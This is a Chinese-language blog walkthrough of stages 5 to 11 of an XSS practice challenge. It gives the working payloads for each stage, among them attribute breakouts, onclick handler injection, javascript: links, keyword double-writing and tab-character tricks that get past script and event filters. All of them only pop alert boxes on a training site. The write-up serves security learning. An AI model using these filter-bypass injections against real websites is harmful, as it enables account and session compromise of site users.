XSS challengs5-11通过过程
stage #5
回显搜索结果处的标签为
1 | <input type="text" name="p1" maxlength="15" size="30" value="123"> |
尝试构造
1 | "><script>alert("sss")</script> |
输入时发现只能输入15个字符,所以修改maxlength
的值,这个是限制输入框中字符的最大数量值,这里将它的值改为100,再输入后提交,出现弹框,修改js语句,获得下一关地址。
stage #6
回显搜索结果处的标签为
1 | <input type="text" name="p1" size="50" value="123"> |
尝试构造
1 | "><script>alert("sss")</script> |
提交后没有反应,查看标签处的内容
1 | <input type="text" name="p1" size="50" value="" ><script>alert("sss")<="" script>"=""> |
发现< >被过滤了,所以使用新的xss攻击语句
1 | " onclick=alert(document.domain) id="a |
这个会在提交后,点击搜索框时运行,点击后出现下一关的地址。
stage #7
1 | <input type="text" name="p1" size="50" value="123"> |
尝试使用
1 | " onclick=alert("sss") id="a |
点击搜索框,获得下一关的地址
stage #8
这一关输入搜索内容后会转换为url
地址,标签处的内容为
1 | <a href="123">123</a>"< |
这里的搜索结果放在<a>
标签中,这里利用javascript:伪协议在a标签的使用,点击链接后,会执行相应语句,
所以输入
1 | javascript:alert("sss") |
更改js语句,获得下一关的地址
stage #9
1 | <input type="text" name="p1" size="50" value="123"> |
尝试修改p1和下面那个隐藏的输入框的值,没有任何反应,尝试抓包,发现提交两个值p1=1&charset=euc-jp
所以尝试修改charset
的值,试了之后也不行,查网上的一些解法,说是需要使用IE7 环境 UTF-7编码。
这里没继续尝试,因为IE7已经是很久前的版本了,在控制台输入 alert(document.domain);
得到下一关地址
stage # 10
1 | <input type="text" name="p1" size="50" value="12"> |
然后直接输入
1 | ><script>alert("sss")</script> |
直接出现了弹窗,感觉有点简单,之后修改语句为 alert(document.domain);
果然出现了问题,页面没有出现下一关地址,剩下了><script>alert(document.);</script>
可能是过滤了关键字,缺少了domain,这道题的提示是s/domain//g;
这应该是正则表达式,替换domain为空,所以使用双写绕过试试
1 | " onclick=alert(document.domdomainain);// |
获得下一关的地址
stage #11
1 | <input type="text" name="p1" size="50" value="123"> |
尝试构造
1 | ><script>alert("sss")</script> |
提交后的内容为
1 | ><xscript>alert( |
可以看到这里对关键词语进行了处理,这一关的提示是"s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
可以看出对script
、on事件
、style
等进行了处理,,于是想到将某个字符转换为unicode编码
,或者插入	
不可见字符,并且使用<a>
标签,于是构造这样的payload
1 | "><a href="javascr	ipt:alert(document.domain);">12</a> |
获得下一关地址
本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/7cffc1aa.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!